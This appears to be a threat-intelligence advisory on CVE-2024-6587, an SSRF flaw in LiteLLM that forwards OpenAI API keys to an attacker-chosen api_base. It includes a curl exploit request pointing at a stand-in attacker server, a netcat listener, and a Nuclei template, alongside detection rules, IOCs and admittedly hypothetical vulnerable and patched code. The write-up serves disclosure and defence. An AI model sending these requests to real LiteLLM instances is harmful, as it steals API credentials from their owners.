CVE-2024-6587

Executive Summary

CVE-2024-6587 is a Server-Side Request Forgery (SSRF) vulnerability in the berriai/litellm project, version 1.38.10. The flaw resides in the /chat/completions endpoint, where the api_base parameter is not properly validated. An attacker can supply a malicious domain as the api_base, causing the server to forward the request—including the OpenAI API key in the Authorization header—to an attacker-controlled server. This leads to unauthorized access and potential misuse of the API key. The vulnerability has a CVSS score of 7.5 (High) and a public proof-of-concept (PoC) is available via a Nuclei template. No official patch has been released at this time.

Supply Chain & Package Security

This vulnerability affects the litellm Python package, which is distributed via PyPI. Organizations using litellm in their AI/LLM infrastructure should immediately assess their exposure. The package is often used as a proxy or gateway for multiple LLM providers, making it a high-value target for credential theft. Supply chain risks include:

• Credential Leakage: The SSRF can leak OpenAI API keys to an attacker-controlled server.
• Lateral Movement: Compromised API keys can be used to access other services or data.
• Reputation Damage: Unauthorized API usage can lead to financial loss and service abuse.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable over the network without authentication, making it a critical risk for any exposed instance.

Deep Dive & Mechanics

The vulnerability exists in the /chat/completions endpoint of LiteLLM. When a user sends a POST request to this endpoint, the application accepts a JSON payload that includes a model, messages, and an optional api_base parameter. The api_base parameter is intended to allow users to specify a custom base URL for the LLM provider. However, the application does not validate or sanitize this parameter, allowing an attacker to set it to an arbitrary URL.

When the request is processed, the application constructs an HTTP request to the URL specified in api_base, including the OpenAI API key in the Authorization header (as a Bearer token). If the attacker sets api_base to their own server, the API key is sent to that server, effectively leaking the credential.

The Nuclei template demonstrates this by sending a request with api_base set to an interactsh URL. The matchers check for an HTTP callback and the presence of the Bearer token in the request, confirming the SSRF and credential leakage.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.38.10): The vulnerable code likely resides in the request handling logic for /chat/completions. A simplified example:

# Vulnerable: No validation of api_base
def handle_chat_completions(request):
    api_base = request.json.get('api_base', DEFAULT_API_BASE)
    headers = {'Authorization': f'Bearer {OPENAI_API_KEY}'}
    response = requests.post(f'{api_base}/v1/chat/completions', headers=headers, json=request.json)
    return response.json()

Patched Code (hypothetical): A patched version would validate the api_base against an allowlist of known, trusted domains:

# Patched: Validate api_base against allowlist
ALLOWED_API_BASES = ['https://api.openai.com', 'https://api.anthropic.com']

def handle_chat_completions(request):
    api_base = request.json.get('api_base', DEFAULT_API_BASE)
    if api_base not in ALLOWED_API_BASES:
        raise ValueError('Invalid api_base')
    headers = {'Authorization': f'Bearer {OPENAI_API_KEY}'}
    response = requests.post(f'{api_base}/v1/chat/completions', headers=headers, json=request.json)
    return response.json()

Exploitation & Lab Setup

Red Team

Prerequisites:

• A publicly accessible server to receive the leaked API key (e.g., interactsh, Burp Collaborator, or a custom VPS).
• Target LiteLLM instance (version 1.38.10) with the /chat/completions endpoint exposed.

Exploitation Steps:

1. Set up a listener on your attacker server (e.g., using nc -lvnp 8080 or a webhook service).
2. Send the following POST request to the target LiteLLM instance:

curl -X POST http://target:8000/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "command-nightly",
    "messages": [{"role": "user", "content": "Hello"}],
    "api_base": "http://attacker-server:8080"
  }'

3. Monitor your listener for the incoming request. The OpenAI API key will be in the Authorization header.

Nuclei Template (provided):

id: CVE-2024-6587

info:
  name: LiteLLM - Server-Side Request Forgery
  author: pdresearch,iamnoooob,rootxharsh,lambdasawa
  severity: high
  description: |
    LiteLLM vulnerable to Server-Side Request Forgery (SSRF) vulnerability Exposes OpenAI API Keys.
  impact: |
    Attackers can exploit SSRF to send requests to arbitrary URLs with OpenAI API keys in the Authorization header, potentially exposing API credentials.
  remediation: |
    Update LiteLLM to the latest version that addresses the SSRF vulnerability in the chat/completions endpoint.
  reference:
    - https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6587
  classification:
    epss-score: 0.88366
    epss-percentile: 0.99504
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:439373620
  tags: cve,cve2024,ssrf,openai,litellm,vkev,vuln,ai

http:
  - raw:
      - |
        POST /chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "model": "command-nightly",
          "messages": [
            {
              "content": "Hello, how are you?",
              "role": "user"
            }
          ],
          "api_base": "https://{{interactsh-url}}"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "Bearer"

Blue Team

Detection Steps:

1. Monitor outbound HTTP requests from the LiteLLM server to unknown or suspicious domains.
2. Look for requests containing Authorization: Bearer headers in logs.
3. Use the provided YARA and Sigma rules to detect exploitation attempts.

Lab Setup for Testing:

• Deploy a vulnerable LiteLLM instance in an isolated environment.
• Use a tool like interactsh to simulate the attacker's callback server.
• Run the Nuclei template to verify the vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains from the LiteLLM server.
  • HTTP requests with Authorization: Bearer header to non-standard ports.
• File IOCs:
  • Log entries showing api_base parameter with external URLs.
• Behavioral IOCs:
  • Unexpected API key usage from unknown IPs or locations.
  • Unusual billing activity on the OpenAI account.

Detection Engineering

YARA Rule

rule CVE_2024_6587_LiteLLM_SSRF {
    meta:
        description = "Detects SSRF exploitation attempts against LiteLLM CVE-2024-6587"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6587"
    strings:
        $api_base = "api_base" ascii wide nocase
        $chat_completions = "/chat/completions" ascii wide nocase
        $bearer = "Bearer" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-6587 LiteLLM SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /chat/completions with a suspicious api_base parameter indicating SSRF exploitation.
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6587
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/chat/completions'
        cs-uri-query|contains: 'api_base'
    condition: selection
falsepositives:
    - Legitimate use of custom api_base for testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6587 LiteLLM SSRF Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/chat/completions"; http_uri; content:"api_base"; http_client_body; pcre:"/api_base[\s]*:[\s]*[\"']https?:\/\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /chat/completions endpoint if not required, or restrict access to trusted IPs only.
2. Implement a Web Application Firewall (WAF) rule to block requests containing api_base with external URLs.
3. Rotate all OpenAI API keys that may have been exposed.

Long-term Fix:

• Apply input validation to the api_base parameter, allowing only known, trusted domains (e.g., https://api.openai.com).
• Use a proxy or gateway that enforces strict URL allowlisting.
• Monitor for official patches from the LiteLLM maintainers and apply them immediately.

Detection & Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable logging of all outbound HTTP requests from the LiteLLM server.
• Set up alerts for unusual API key usage.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 8F121FF77E296BE2E5431662] */}